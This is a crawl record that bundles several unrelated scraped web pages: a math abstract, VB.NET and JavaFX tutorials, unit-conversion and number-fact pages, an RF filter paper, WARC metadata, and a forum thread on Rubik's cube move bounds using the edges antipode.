"Translator Disclaimer\nSummer 2017 Two-weight norm inequalities for the higher-order commutators of fractional integral operators\nCaiyin Niu, Xiaojin Zhang\nAdv. Oper. Theory 2(3): 201-214 (Summer 2017). DOI: 10.22034/aot.1612-1075\n\n## Abstract\n\nIn this paper, we obtain several sufficient conditions such that the higher-order commutators $I_{\\alpha,b}^m$ generated by $I_\\alpha$ and $b\\in \\textrm{BMO}(\\mathbb{R}^n)$ is bounded from $L^p(v)$ to $L^q(u)$, where $\\frac{1}{q}=\\frac{1}{p}-\\frac{\\alpha}{n}$ and $0 \\lt \\alpha \\lt n$.\n\n## Citation\n\nCaiyin Niu. Xiaojin Zhang. \"Two-weight norm inequalities for the higher-order commutators of fractional integral operators.\" Adv. Oper. Theory 2 (3) 201 - 214, Summer 2017. https://doi.org/10.22034/aot.1612-1075\n\n## Information\n\nReceived: 9 December 2016; Accepted: 21 March 2017; Published: Summer 2017\nFirst available in Project Euclid: 4 December 2017\n\nzbMATH: 1373.42020\nMathSciNet: MR3730049\nDigital Object Identifier: 10.22034/aot.1612-1075\n\nSubjects:\nPrimary: 42B20\nSecondary: 42C35\n\nKeywords: BMO , fractional integrals , higher-order commutators , two-weight",
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https://www.wiseowl.co.uk/blog/s166/arrays.htm | [
"COVID-19: Choose between our familiar (but now socially distanced) classroom training courses and our excellent new live online courses.\nIf you found this blog useful and you’d like to say thanks you can click here to make a contribution. Thanks for looking at our blogs!\n\nBLOGS BY TOPIC\n\nBLOGS BY AUTHOR\n\nBLOGS BY YEAR\n\nReview of VB.NET Data Storage Structures\nPart three of an eight-part series of blogs\n\nThere are a bewildering array (excuse the pun) of data storage structures available to you in Visual Basic. Choose from arrays, ArrayLists, SortedLists, Dictionaries, HashTables, Lists and DataTables, among others. This blog gives an example of each type of structure, and benchmarks them to show which perform best and worst.\n\nPosted by Andy Brown on 24 August 2011\n\nYou need a minimum screen resolution of about 700 pixels width to see our blogs. This is because they contain diagrams and tables which would not be viewable easily on a mobile phone or small laptop. Please use a larger tablet, notebook or desktop computer, or change your screen resolution settings.\n\n# Arrays\n\nAn array holds related data in numbered cells. Thus an array of 3 friends' names might read:\n\n• Friends(1) = \"Meshach\"\n• Friends(2) = \"Abednego\"\n\nArrays are always numbered from 0 in .NET.\n\nIn addition, you can have static and dynamic arrays:\n\nType of array Notes\nStatic In a static array, you specify the size of the array when you first create it, and it doesn't subsequently increase.\nDynamic In a dynamic array, whenever you find a new value you increase the size of the array by 1 to accommodate it.\n\nHere is the code I used to test the static array. I've given it a fixed size of 100,000 elements, so it can accommodate lots of data.\n\nSub ArrayStatic()\n\nDim test(99999) As String\n\nStartTimer()\n\nDim i As Integer\n\nFor i = 0 To (10 ^ RunSize) - 1\n\ntest(i) = TestCode(i)\n\nNext\n\n'work out how long this took\n\nWriteTime = ElapsedTime\n\n'store ten values for subsequent tests\n\nStoreTenValues()\n\n'sort the array (timing this)\n\nArray.Sort(test)\n\nSortTime = ElapsedTime\n\n'third test: find 10 \"random\" values by number\n\nDim s As String\n\nFor i = (10 ^ RunSize) - 1 To 0 Step -(10 ^ (RunSize - 1))\n\ns = test(i)\n\nNext\n\n'report how long this took\n\n'fourth test: find 10 \"random\" values by name\n\nFor i = 0 To 9\n\ns = TextValues(i)\n\nFor j = 0 To (10 ^ RunSize) - 1\n\nIf test(j) = s Then\n\nExit For\n\nEnd If\n\nNext\n\nNext\n\n'this shows results on my internal site\n\nAddRow(\"Array\", \"Static array (fixed size 10000)\")\n\nEnd Sub\n\nThe code to test a dynamic array is as follows:\n\nSub ArrayDynamic()\n\nDim test() As String = Nothing\n\nStartTimer()\n\n'first test: writing 10 ^ n values, increasing size of the array by 1 each time\n\n'(note the word PRESERVE to avoid losing previous contents)\n\nDim i As Integer\n\nFor i = 0 To (10 ^ RunSize) - 1\n\nReDim Preserve test(i)\n\ntest(i) = TestCode(i)\n\nNext\n\n'work out how long this took\n\nWriteTime = ElapsedTime\n\n'store ten values for subsequent tests\n\nStoreTenValues()\n\n'sort the array (timing this)\n\nArray.Sort(test)\n\nSortTime = ElapsedTime\n\n'third test: find 10 \"random\" values by number\n\nDim s As String\n\nFor i = (10 ^ RunSize) - 1 To 0 Step -(10 ^ (RunSize - 1))\n\ns = test(i)\n\nNext\n\n'report how long this took\n\n'fourth test: find 10 \"random\" values by name\n\nFor i = 0 To 9\n\ns = TextValues(i)\n\nFor j = 0 To (10 ^ RunSize) - 1\n\nIf test(j) = s Then\n\nExit For\n\nEnd If\n\nNext\n\nNext"
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https://link.springer.com/book/10.1007%2F0-8176-4436-9 | [
"Free Energy and Self-Interacting Particles\n\n• Takashi Suzuki",
null,
"Book\n\nPart of the Progress in Nonlinear Differential Equations and Their Applications book series (PNLDE, volume 62)\n\n1. Front Matter\nPages i-xiii\n2. Pages 1-23\n3. Pages 25-34\n4. Pages 35-58\n5. Pages 59-77\n6. Pages 79-103\n7. H Tanaka\nPages 105-113\n8. Pages 115-145\n9. Pages 147-173\n10. Pages 175-205\n11. Pages 207-218\n12. Pages 219-245\n13. Pages 247-275\n14. Pages 277-291\n15. Pages 293-306\n16. Pages 307-322\n17. Pages 323-343\n18. Back Matter\nPages 345-366\n\nIntroduction\n\nThis book examines a system of parabolic-elliptic partial differential eq- tions proposed in mathematical biology, statistical mechanics, and chemical kinetics. In the context of biology, this system of equations describes the chemotactic feature of cellular slime molds and also the capillary formation of blood vessels in angiogenesis. There are several methods to derive this system. One is the biased random walk of the individual, and another is the reinforced random walk of one particle modelled on the cellular automaton. In the context of statistical mechanics or chemical kinetics, this system of equations describes the motion of a mean ?eld of many particles, interacting under the gravitational inner force or the chemical reaction, and therefore this system is af?liated with a hierarchy of equations: Langevin, Fokker–Planck, Liouville–Gel’fand, and the gradient ?ow. All of the equations are subject to the second law of thermodynamics — the decrease of free energy. The mat- matical principle of this hierarchy, on the other hand, is referred to as the qu- tized blowup mechanism; the blowup solution of our system develops delta function singularities with the quantized mass.\n\nKeywords\n\nApplied Mathematics Green's function Mathematical Biology Mathematical Physics Partial Differential Equations STATISTICA calculus differential equation mechanics modeling partial differential equation quantum mechanics thermodynamics\n\nEditors and affiliations\n\n• Takashi Suzuki\n• 1\n1. 1.Department of System Innovation Division of Mathematical ScienceOsaka University Graduate School of Engineering ScienceOsakaJapan\n\nBibliographic information\n\n• DOI https://doi.org/10.1007/0-8176-4436-9\n• Copyright Information Birkhäuser Boston 2005\n• Publisher Name Birkhäuser Boston\n• eBook Packages Mathematics and Statistics\n• Print ISBN 978-0-8176-4302-7\n• Online ISBN 978-0-8176-4436-9\n• Series Print ISSN 1421-1750\n• Series Online ISSN 2374-0280\n• Buy this book on publisher's site"
]
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null,
"https://media.springernature.com/w306/springer-static/cover-hires/book/978-0-8176-4436-9",
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https://convertoctopus.com/788-hours-to-seconds | [
"## Conversion formula\n\nThe conversion factor from hours to seconds is 3600, which means that 1 hour is equal to 3600 seconds:\n\n1 hr = 3600 s\n\nTo convert 788 hours into seconds we have to multiply 788 by the conversion factor in order to get the time amount from hours to seconds. We can also form a simple proportion to calculate the result:\n\n1 hr → 3600 s\n\n788 hr → T(s)\n\nSolve the above proportion to obtain the time T in seconds:\n\nT(s) = 788 hr × 3600 s\n\nT(s) = 2836800 s\n\nThe final result is:\n\n788 hr → 2836800 s\n\nWe conclude that 788 hours is equivalent to 2836800 seconds:\n\n788 hours = 2836800 seconds\n\n## Alternative conversion\n\nWe can also convert by utilizing the inverse value of the conversion factor. In this case 1 second is equal to 3.5250987027637E-7 × 788 hours.\n\nAnother way is saying that 788 hours is equal to 1 ÷ 3.5250987027637E-7 seconds.\n\n## Approximate result\n\nFor practical purposes we can round our final result to an approximate numerical value. We can say that seven hundred eighty-eight hours is approximately two million eight hundred thirty-six thousand eight hundred seconds:\n\n788 hr ≅ 2836800 s\n\nAn alternative is also that one second is approximately zero times seven hundred eighty-eight hours.\n\n## Conversion table\n\n### hours to seconds chart\n\nFor quick reference purposes, below is the conversion table you can use to convert from hours to seconds\n\nhours (hr) seconds (s)\n789 hours 2840400 seconds\n790 hours 2844000 seconds\n791 hours 2847600 seconds\n792 hours 2851200 seconds\n793 hours 2854800 seconds\n794 hours 2858400 seconds\n795 hours 2862000 seconds\n796 hours 2865600 seconds\n797 hours 2869200 seconds\n798 hours 2872800 seconds"
]
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http://hyperflux.cfms.org.uk/en/latest/nasa_DPW.html | [
"# NASA Drag Prediction Workshop - NASA Common Research Model - Validation¶\n\nAuthors: A. Cimpoeru (CFMS), J. Appa (Zenotech) and D. Standingford (Zenotech)\n\nDecember 2014\n\n## Conditions¶\n\nReynolds number = 5.0 x e06 based on MAC\n\nMach = 0.85\n\nAngle of attack = 2.217\n\nReference static pressure = 101325 Pa\n\nReference static temperature = 310.928 K\n\nRANS steady state\n\nk-W SST model\n\nPreconditioned\n\nMUSCL scheme for\n\n## Results¶\n\n$$\\circ$$ Isosurfaces of Mach number\n\n$$\\circ$$ CL match for L3 mesh unstructured hexahedral mesh\n\nzCFD Experiment Error\nCL = 0.4884 CL = 0.508 -0.46 %\n\n$$\\circ$$ Code to code validation"
]
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https://jenkov.com/tutorials/javafx/slider.html | [
"# JavaFX Slider\n\n Jakob Jenkov Last update: 2019-05-30\n\nThe JavaFX Slider control provides a way for the user to select a value within a given interval by sliding a handle to the desired point representing the desired value. The JavaFX Slider is represented by the JavaFX class `javafx.scene.control.Slider`. Here is a screenshot of how a JavaFX `Slider` looks:",
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"## JavaFX Slider Example\n\nHere is a full JavaFX `Slider` code example:\n\n```import javafx.application.Application;\nimport javafx.scene.Scene;\nimport javafx.scene.control.Slider;\nimport javafx.scene.layout.VBox;\nimport javafx.stage.Stage;\n\npublic class SliderExample extends Application {\npublic static void main(String[] args) {\nlaunch(args);\n}\n\n@Override\npublic void start(Stage primaryStage) {\nprimaryStage.setTitle(\"JavaFX App\");\n\nSlider slider = new Slider(0, 100, 0);\n\nVBox vBox = new VBox(slider);\nScene scene = new Scene(vBox, 960, 600);\n\nprimaryStage.setScene(scene);\nprimaryStage.show();\n}\n\n}\n```\n\n## Create a Slider\n\nTo use a JavaFX `Slider` you must first create an instance of the `Slider` class. Here is an example of creating a JavaFX `Slider` instance:\n\n```Slider slider = new Slider(0, 100, 0);\n```\n\nThe `Slider` constructor used above takes three parameters: The min value, the max value and the initial value. The min value is the value sliding the handle all the way to the left represents. This is the beginning of the interval the user can select a value in. The max value is the value sliding the handle all the way to the right represents. This the end of the interval the user can select a value in. The initial value is the value that the handle should be located at, when presented to the user at first.\n\nYou can read the value of a `Slider` as selected by the user via the `getValue()` method. Here is an example of reading the selected value of a JavaFX `Slider`:\n\n```double value = slider.getValue();\n```\n\n## Major Tick Unit\n\nYou can set the major tick unit of a JavaFX `Slider` control. The major tick unit is how many units the value changes every time the user moves the handle of the `Slider` one tick. Here is an example that sets the major tick unit of a JavaFX `Slider` to 8:\n\n```Slider slider = new Slider(0, 100, 0);\n\nslider.setMajorTickUnit(8.0);\n```\n\nThis `Slider` will have its value change with 8.0 up or down whenever the handle in the `Slider` is moved.\n\n## Minor Tick Count\n\nYou can set the minor tick count of a JavaFX `Slider` via the `setMinorTickCount()` method. The minor tick count specifies how many minor ticks there are between two of the major ticks. Here is an example that sets the minor tick count to 2:\n\n```Slider slider = new Slider(0, 100, 0);\n\nslider.setMajorTickUnit(8.0);\n\nslider.setMinorTickCount(3);\n```\n\nThe `Slider` configured here has 8.0 value units between each major tick, and in between each of these major ticks it has 3 minor ticks.\n\n## Snap Handle to Ticks\n\nYou can make the handle of the JavaFX `Slider` snap to the ticks using the `Slider` `setSnapToTicks()` method, passing a parameter value of `true` it. Here is an example of making the JavaFX `Slider` snap its handle to the ticks:\n\n```slider.setSnapToTicks(true);\n```\n\n## Show Tick Marks\n\nYou can make the JavaFX Slider show marks for the ticks when it renders the slider. You do so using its `setShowTickMarks()` method. Here is an example of making a JavaFX `Slider` show tick marks:\n\n```slider.setShowTickMarks(true);\n```\n\nHere is a screenshot of how a JavaFX `Slider` looks with tick marks shown:",
null,
"## Show Tick Labels\n\nYou can make the JavaFX `Slider` show tick labels for the ticks when it renders the slider. You do so using its `setShowTickLabels()` method. Here is an example of making a JavaFX `Slider` show tick labels:\n\n```slider.setShowTickLabels(true);\n```\n\nHere is a screenshot of how a JavaFX `Slider` looks with tick marks and labels shown:",
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https://numbermatics.com/n/3135210960/ | [
"# 3135210960\n\n## 3,135,210,960 is an even composite number composed of seven prime numbers multiplied together.\n\nWhat does the number 3135210960 look like?\n\nThis visualization shows the relationship between its 7 prime factors (large circles) and 320 divisors.\n\n3135210960 is an even composite number. It is composed of seven distinct prime numbers multiplied together. It has a total of three hundred twenty divisors.\n\n## Prime factorization of 3135210960:\n\n### 24 × 3 × 5 × 7 × 23 × 41 × 1979\n\n(2 × 2 × 2 × 2 × 3 × 5 × 7 × 23 × 41 × 1979)\n\nSee below for interesting mathematical facts about the number 3135210960 from the Numbermatics database.\n\n### Names of 3135210960\n\n• Cardinal: 3135210960 can be written as Three billion, one hundred thirty-five million, two hundred ten thousand, nine hundred sixty.\n\n### Scientific notation\n\n• Scientific notation: 3.13521096 × 109\n\n### Factors of 3135210960\n\n• Number of distinct prime factors ω(n): 7\n• Total number of prime factors Ω(n): 10\n• Sum of prime factors: 2060\n\n### Divisors of 3135210960\n\n• Number of divisors d(n): 320\n• Complete list of divisors:\n• Sum of all divisors σ(n): 11879239680\n• Sum of proper divisors (its aliquot sum) s(n): 8744028720\n• 3135210960 is an abundant number, because the sum of its proper divisors (8744028720) is greater than itself. Its abundance is 5608817760\n\n### Bases of 3135210960\n\n• Binary: 101110101101111110000101110100002\n• Base-36: 1FUMG9C\n\n### Squares and roots of 3135210960\n\n• 3135210960 squared (31352109602) is 9829547763704121600\n• 3135210960 cubed (31352109603) is 30817705880608652237492736000\n• The square root of 3135210960 is 55992.9545568011\n• The cube root of 3135210960 is 1463.5995127179\n\n### Scales and comparisons\n\nHow big is 3135210960?\n• 3,135,210,960 seconds is equal to 99 years, 35 weeks, 6 days, 3 hours, 56 minutes.\n• To count from 1 to 3,135,210,960 would take you about one hundred ninety-nine years!\n\nThis is a very rough estimate, based on a speaking rate of half a second every third order of magnitude. If you speak quickly, you could probably say any randomly-chosen number between one and a thousand in around half a second. Very big numbers obviously take longer to say, so we add half a second for every extra x1000. (We do not count involuntary pauses, bathroom breaks or the necessity of sleep in our calculation!)\n\n• A cube with a volume of 3135210960 cubic inches would be around 122 feet tall.\n\n### Recreational maths with 3135210960\n\n• 3135210960 backwards is 0690125313\n• 3135210960 is a Harshad number.\n• The number of decimal digits it has is: 10\n• The sum of 3135210960's digits is 30\n• More coming soon!"
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https://www.hindawi.com/journals/tswj/2014/572360/ | [
"/ / Article\n\nResearch Article | Open Access\n\nVolume 2014 |Article ID 572360 | https://doi.org/10.1155/2014/572360\n\nZh. Yao, C. Wang, N. Y. Kim, \"A Dual-Mode Bandpass Filter with Multiple Controllable Transmission-Zeros Using T-Shaped Stub-Loaded Resonators\", The Scientific World Journal, vol. 2014, Article ID 572360, 6 pages, 2014. https://doi.org/10.1155/2014/572360\n\n# A Dual-Mode Bandpass Filter with Multiple Controllable Transmission-Zeros Using T-Shaped Stub-Loaded Resonators\n\nAccepted31 Dec 2013\nPublished09 Feb 2014\n\n#### Abstract\n\nA dual-mode broadband bandpass filter (BPF) with multiple controllable transmission-zeros using T-shaped stub-loaded resonators (TSSLRs) is presented. Due to the symmetrical plane, the odd-even-mode theory can be adopted to characterize the BPF. The proposed filter consists of a dual-mode TSSLR and two modified feed-lines, which introduce two capacitive and inductive source-load (S-L) couplings. Five controllable transmission zeros (TZs) can be achieved for the high selectivity and the wide stopband because of the tunable amount of coupling capacitance and inductance. The center frequency of the proposed BPF is 5.8 GHz, with a 3 dB fraction bandwidth of 8.9%. The measured insertion and return losses are 1.75 and 28.18 dB, respectively. A compact size and second harmonic frequency suppression can be obtained by the proposed BPF with S-L couplings.\n\n#### 1. Introduction\n\nThere has been tremendous growth in unlicensed national information infrastructure (U-NII) radio band applications, including radio frequency identification (RFID) and WiMax applications . Planar BPFs, with their compact size, low insertion loss, stringent frequency selectivity, and wide stopband, are in high demand among these applications. Generally, dual-mode resonators can be widely used to meet this demand because of their advantageous compact size. Wolff first demonstrated dual-mode resonators in 1972. Later, dual-mode microstrip resonators became attractive because each can be used as two independent resonant circuits, allowing a compact topology size. Several other types of dual-mode resonators have been proposed, including circular ring , open stub , circular disk , and triangular patch resonators. However, these resonators have only one TZ near the passband.\n\nSelectivity is another critical issue for BPFs and can be improved by introducing TZs near the passband. Usually, nonadjacent coupling, including cross coupling and S-L coupling, can generate TZs by providing a multipath effect . A wide stopband can be obtained by these out-of-band TZs. The cascade trisection and cascade quadruplet are two of the most commonly used cross coupling topologies, but both lead to a large circuit size. S-L couplings have also been widely used in microstrip BPFs. In [10, 11], circular and rectangular dual-mode filters with S-L coupling were proposed. Those filters introduce two TZs at the stopband utilizing the S-L coupling.\n\nIn this study, we present the design for a dual-mode BPF for RFID or WiMax applications. The characteristics of the proposed TSSLRs are analyzed by dual-mode theory. Two capacitive and inductive S-L couplings are introduced to generate more TZs without increasing the implementation area. The proposed BPF shows a high out-of-band rejection level and second harmonic suppression.\n\n#### 2. C-Band BPF Design\n\nThe layout of the microstrip planar BPF is shown in Figure 1(a), which is composed of a dual-mode TSSLR, as shown in Figure 1(b). The characteristics of the TSSLR can be explained using the odd-even-mode theory. The full-wave electromagnetic (EM) Sonnet simulator was used to simulate the response of the dual-mode TSSLR, and the simulation results are illustrated in Figure 2. As seen, the even-mode resonant frequency varies with the parameter . We change from 5.6 mm to 7.1 mm, the even-mode is shifted from a lower to a higher frequency, while the odd-mode is not changed. Furthermore, Figures 3(a) and 3(b) show the current distribution of the two modes, respectively. There is a voltage null along the middle of the TSSLR under the odd-mode operation. In this case, the loaded element has no effect on the odd-mode characteristic, which is the reason why the parameter cannot shift the odd-mode. Under the even-mode operation, a virtual open circuit occurs along the axis of symmetry, so almost all of the current is concentrated on the proposed stub. Hence, the characteristic impedance of the proposed TSSLRs can accurately control both the odd- and even-mode resonant frequencies.\n\nFigure 4 shows the proposed capacitive and inductive S-L couplings and coupling topology, where the empty disks represent the source and load, respectively. The solid disks represent the odd-mode and even-mode. The input signal is coupled to two modes using coupled-line coupling (represented by the solid lines), as is the output signal. The dashed lines represent the S-L couplings. The coupling topology is analyzed by means of the coupling matrix , given by [13, 14]\n\nAn explicit mathematical expression with respect to the coupling elements and the TZs is provided by where is always true for this structure because the coupling strength between the odd-mode and the external feed-line is always larger than that of the even-mode. Therefore, this structure will at least have one TZ at finite frequency. Moreover, the resonant frequencies of the odd-mode and even-mode are related to and , which can be expressed as where and are the center frequency and the bandwidth, respectively. Using (1) and (3), a new expression of can be obtained as\n\nIf and , would be greater than zero and . The inherent TZ is at the upper stopband. In contrast, if and , would be greater than zero and . The inherent TZ is at the lower stopband. Thus, the inherent TZ is always on the same side of the passband with the even-mode resonant frequency , as shown in Figure 2.\n\nWith regard to the proposed TSSLRs, the location of the inherent TZ relates to the even-mode, which can be changed by the value of . The TZ shifts from the lower stopband to the upper stopband when increases from 5.6 mm to 7.1 mm, as shown in Figure 2. In this study, the inherent TZ is located at the upper stopband due to , which leads to a very good selectivity.\n\nExcept for the inherent TZ, four additional TZs are created by introducing two S-L couplings at both the lower and upper stopbands, which results in a wide stopband and a high second harmonic suppression. At the same time, the location of these four TZs can be adjusted by the amount of capacitance or inductance of the S-L coupling, as demonstrated in Figure 5.\n\nAs shown in Figure 5, the gap determines the capacitance of the S-L coupling, whereas the coupling lengths and determine the inductance of the S-L coupling. Figure 5(b) shows the simulated results of the proposed BPF with varied values of . When the value of decreases, the additional TZ4 moves to the passband. Similarly, Figures 5(a) and 5(c) show the simulated responses of the proposed BPF with varied values of and , respectively. When the values of and change, the TZ2 and TZ3 are shifted very little, while the other TZs are moved. Consequently, the inherent TZ and the four additional TZs can be controlled to achieve a good selectivity and high level of rejection at the stopband due to the modification of the amount of nonadjacent coupling capacitance and inductance.\n\n#### 3. Results and Discussion\n\nBased on the proposed TSSLRs, a dual-mode BPF is fabricated using a Teflon substrate with a relative dielectric constant of 2.54, a thickness of 0.54 mm, and a loss tangent of 0.002. Following the preceding design process, the dimensions are determined as follows: mm, = 1.95 mm, = 3 mm, = 6.4 mm, = 8.6 mm, = 3.8 mm, = 1.5 mm, = 1 mm, = 1 mm, = 0.9 mm, mm, and mm, with an overall size of 7.9 × 11.1 mm2, as shown in Figure 6.\n\nThe fabricated BPF was tested and characterized using an Agilent 8510C vector network analyzer (VNA). The narrow-band simulation and measurement results of the proposed BPF are demonstrated in Figure 7. As seen from the measurement results, the resonant frequency is exactly at 5.73 GHz, with an insertion loss of 1.75 dB, a return loss of 28.18 dB, and a FBW of 8.4%. Five controllable TZs are located at 4.08 GHz, 4.38 GHz, 6.02 GHz, 9.5 GHz, and 13.27 GHz, with attenuation level of more than 30 dB. The last two attenuation poles can be shifted near the second harmonic frequency, which gives this BPF a wide stopband and high rejection level.\n\n#### 4. Conclusion\n\nIn this study, a miniaturized narrow-band BPF using proposed TSSLRs is designed, simulated, and fabricated. The performance of the TSSLRs was studied using the odd-even-mode method and verified by a full-wave EM simulator. The proposed TSSLRs have an inherent TZ, and two modified feed-lines are used to generate more TZs at the stopband for high level rejection and harmonic suppression. The measured responses show that this BPF exhibits five TZs due to the introduced capacitive and inductive S-L couplings. The proposed BPF has potential to be applied in C-band RFID and WiMax applications.\n\n#### Conflict of Interests\n\nThe authors declare that there is no conflict of interests regarding the publication of this paper.\n\n#### Acknowledgments\n\nThis work was supported by the National Research Foundation of Korea (NRF) Grant funded by the Korea government (MEST) (no. 2012R1A1A2004366). This work was also supported by a Research Grant of Kwangwoon University in 2013.\n\n1. R. K. Maharjan and N. Y. Kim, “Compact stub-coupled square open-loop bandpass filter for ku-band applications,” Journal of Electromagnetic Waves and Applications, vol. 26, no. 5-6, pp. 603–614, 2012. View at: Google Scholar\n2. R. K. Maharjan, B. Shrestha, and N. Y. Kim, “Compact microstrip square open-loop bandpass filter using open stubs,” Electronics Letters, vol. 48, no. 6, pp. 333–334, 2012. View at: Google Scholar\n3. Y. Li, C. Wang, and N. Y. Kim, “Compact and high-selectivity dual-band bandpass filter with tunable passband for wimax and wlan applications,” Microwave and Optical Technology Letters, vol. 55, no. 9, pp. 2106–2110, 2013. View at: Google Scholar\n4. I. Wolff, “Microstrip bandpass filter using degenerate modes of a microstrip ring resonator,” Electronics Letters, vol. 8, no. 12, pp. 302–303, 1972. View at: Google Scholar\n5. M. Matsuo, H. Yabuki, and M. Makimoto, “Dual-mode stepped-impedance ring resonator for bandpass filter applications,” IEEE Transactions on Microwave Theory and Techniques, vol. 49, no. 7, pp. 1235–1240, 2001. View at: Publisher Site | Google Scholar\n6. X. H. Wu, Q. X. Chu, and F. C. Chen, “Dual-band bandpass filter with controllable bandwidth and good selectivity by using stub-loaded resonators,” Microwave and Optical Technology Letters, vol. 54, no. 6, pp. 1525–1528, 2012. View at: Publisher Site | Google Scholar\n7. X. C. Zhang, Z. A. Yu, and J. Xu, “Design of microstrip dual-mode filters based on source-load coupling,” IEEE Microwave and Wireless Components Letters, vol. 18, no. 10, pp. 677–679, 2008. View at: Publisher Site | Google Scholar\n8. L. P. Zhao, X. W. Dai, Z. X. Chen, and C. H. Liang, “Novel design of dual-mode dual-band bandpass filter with triangular resonators,” Progress in Electromagnetics Research, vol. 77, pp. 417–424, 2007. View at: Google Scholar\n9. M. Q. Zhou, X. H. Tang, and F. Xiao, “Miniature microstrip bandpass filter using resonator-embedded dual-mode resonator based on source-load coupling,” IEEE Microwave and Wireless Components Letters, vol. 20, no. 3, pp. 139–141, 2010. View at: Publisher Site | Google Scholar\n10. C. K. Liao and C. Y. Chang, “Modified parallel-coupled filter with two independently controllable upper stopband transmission zeros,” IEEE Microwave and Wireless Components Letters, vol. 15, no. 12, pp. 841–843, 2005. View at: Publisher Site | Google Scholar\n11. C. L. Wei, B. F. Jia, Z. J. Zhu, and M. C. Tang, “Hexagonal dual-mode filter with four transmission zeros,” Electronics Letters, vol. 47, no. 3, pp. 195–196, 2011. View at: Publisher Site | Google Scholar\n12. J. S. Hong and M. J. Lancaster, Microstrip Filters for RF/Microwave Applications, John Wiley & Sons, New York, NY, USA, 2001.\n13. C. L. Wei, B. F. Jia, Z. J. Zhu, and M. C. Tang, “Design of different selectivity dual-mode filters with E-shaped resonator,” Progress in Electromagnetics Research, vol. 116, pp. 517–532, 2011. View at: Publisher Site | Google Scholar\n14. C. K. Liao, P. L. Chi, and C. Y. Chang, “Microstrip realization of generalized Chebyshev filters with box-like coupling schemes,” IEEE Transactions on Microwave Theory and Techniques, vol. 55, no. 1, pp. 147–153, 2007. View at: Publisher Site | Google Scholar\n15. J. S. Hong, H. Shaman, and Y. H. Chun, “Dual-mode microstrip open-loop resonators and filters,” IEEE Transactions on Microwave Theory and Techniques, vol. 55, no. 8, pp. 1764–1770, 2007. View at: Publisher Site | Google Scholar\n\n#### More related articles\n\nArticle of the Year Award: Outstanding research contributions of 2020, as selected by our Chief Editors. Read the winning articles."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.88256687,"math_prob":0.6831338,"size":13119,"snap":"2021-43-2021-49","text_gpt3_token_len":3287,"char_repetition_ratio":0.12390393,"word_repetition_ratio":0.08365019,"special_character_ratio":0.24780852,"punctuation_ratio":0.18101218,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95062375,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-08T05:57:40Z\",\"WARC-Record-ID\":\"<urn:uuid:53a80d18-38b5-47de-95f2-a614907eed0b>\",\"Content-Length\":\"375386\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:74d1a83a-a274-498e-bd8b-798d10c18717>\",\"WARC-Concurrent-To\":\"<urn:uuid:f1a7aa24-c9db-4578-a675-c4a4455bae8b>\",\"WARC-IP-Address\":\"99.84.110.91\",\"WARC-Target-URI\":\"https://www.hindawi.com/journals/tswj/2014/572360/\",\"WARC-Payload-Digest\":\"sha1:RVZKZD44E67V3LZK2T544XFMBYOFRR66\",\"WARC-Block-Digest\":\"sha1:XRQW5IXCJDIWBSTOKWFCWJGCLPEPHXLK\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964363445.41_warc_CC-MAIN-20211208053135-20211208083135-00597.warc.gz\"}"} |
http://forum.cubeman.org/?q=node/view/72 | [
"# Lower bound using the Edges antipode\n\nOne way of solving the cube is using two phases:\n\n1) First solve all the edges [less than 18 moves as proved by Tom Rokicki ].\n2) Take it to the cube identity [less than 22 moves as proved by Silviu Radu]. Which gives a maximum of 40 moves.\n\nIs it possible to follow the same logic but use the Edges Antipode instead?. So the two phases become:\n\n1) Solve all the edges by taking them to the Antipode edges instead of the identity edges. [this is guaranteed to be 18 moves].\n2) From the edges antipode position take it to the cube identity. [Does anyone know the maximum moves needed for this phase?]. To find this maximum it would take the same computational effort to prove the 22 moves I guess. Let's call this maximum X.\n\nNow let's look at Tom's calculation. Is is possible to reproduce them by adding one generator which is the one that takes the identity to the edges antipode immediatly? If we do this calculation the maximum moves will be for sure less than 18moves and more than 9 moves. Let's call it Y.\n\nThis means that any cube position can be solved in either:\n\nY + X moves [taking it first to the edges antipode than to the cube identity]\nY + 22 moves [taking it first to the edges identity than to the cube identity]\n\nSilviu has proved a minimum limit of 35q. So if X < 22 and Y < 13 we might lower the limit a little bit...\n\nPlease let me know what you think of this approach, if it has been attempted or if it has some logic hole.\n\nThanks\n\n## Comment viewing options\n\n### Re: Lower bound using the Edges antipode\n\nMike Reid's web site gives a position (he calls it \"Superfliptwist composed with Pons Asinorum\") that is 22q* and is in the edges antipode equivalence class. Therefore, X >= 22. See: http://www.math.ucf.edu/~reid/Rubik/h_symmetric.html\n\nWhen I have some spare time, I might try to look at generating the 2-D QTM distribution table for the edges group for distance from solved vs. distance from antipode.\n\n- Bruce Norskog\n\n### X IS equal to 22\n\nI just found out that Tom has already proved that X=22 here:\nhttp://cubezzz.homelinux.org/drupal/?q=node/view/44\n\nIt is the fourth calculation.\n\nThis means that each cube position can either choose to go to the edges identity or to the edges antipode then add 22 to go to the cube identity.\n\nEach cube position has to find out which is the closest to it, the edges identity or the edges antipode. That way we avoid adding 18 but only add a number Y between 9 and 17.\n\nThis gives an upper bound of 39 but I hope that Y is less than 13 to break the 35q limit...\n\n### Y >= 14\n\nI have done a test run of a preliminary version of my program for generating the two-dimensional table for the edges group, giving distance from solved vs. distance from the antipode. This program only looked at even permutation positions, and obtained results for about 730,000 positions (unique with respect to M-symmetry). Assuming it was working correctly, it found many positions that are at least distance 14 from both the solved position and the antipode. In fact it was a little over 32% of the positions.\n\nThis should not be surprising. If you look at the distance table for the edges group (QTM), you see that about 56.6% of the even permutation positions are depth 14. Since that is a majority of even permutation positions, at least some of them must also be a distance of 14 from the antipode. You could estimate that 56.6% of the distance-14 positions would also be a distance of 14 from the antipode. In fact, 56.6% of 56.6% is about 32%, in close agreement with my sample.\n\nFor odd permutation positions, over 90% are depth 13. Therefore, it would be expected that about 81% of the positions are a distance of 13 from both the solved position and the antipode.\n\nTo get a smaller upper bound for Rubik's cube in QTM, it was hoped that every position of the edges group would be within 12 quarter turns from either the solved position or the antipode. However, it is clear to me that there are a very large number of positions for which this is not the case.\n\n- Bruce Norskog\n\n### Hi Bruce,\n\nHi Bruce,\n\nWell, I am disapointed at the result but all hope is not lost after reading this from Jerry Brayn and the reply from Dan Hoey here:\n\nIt gave me 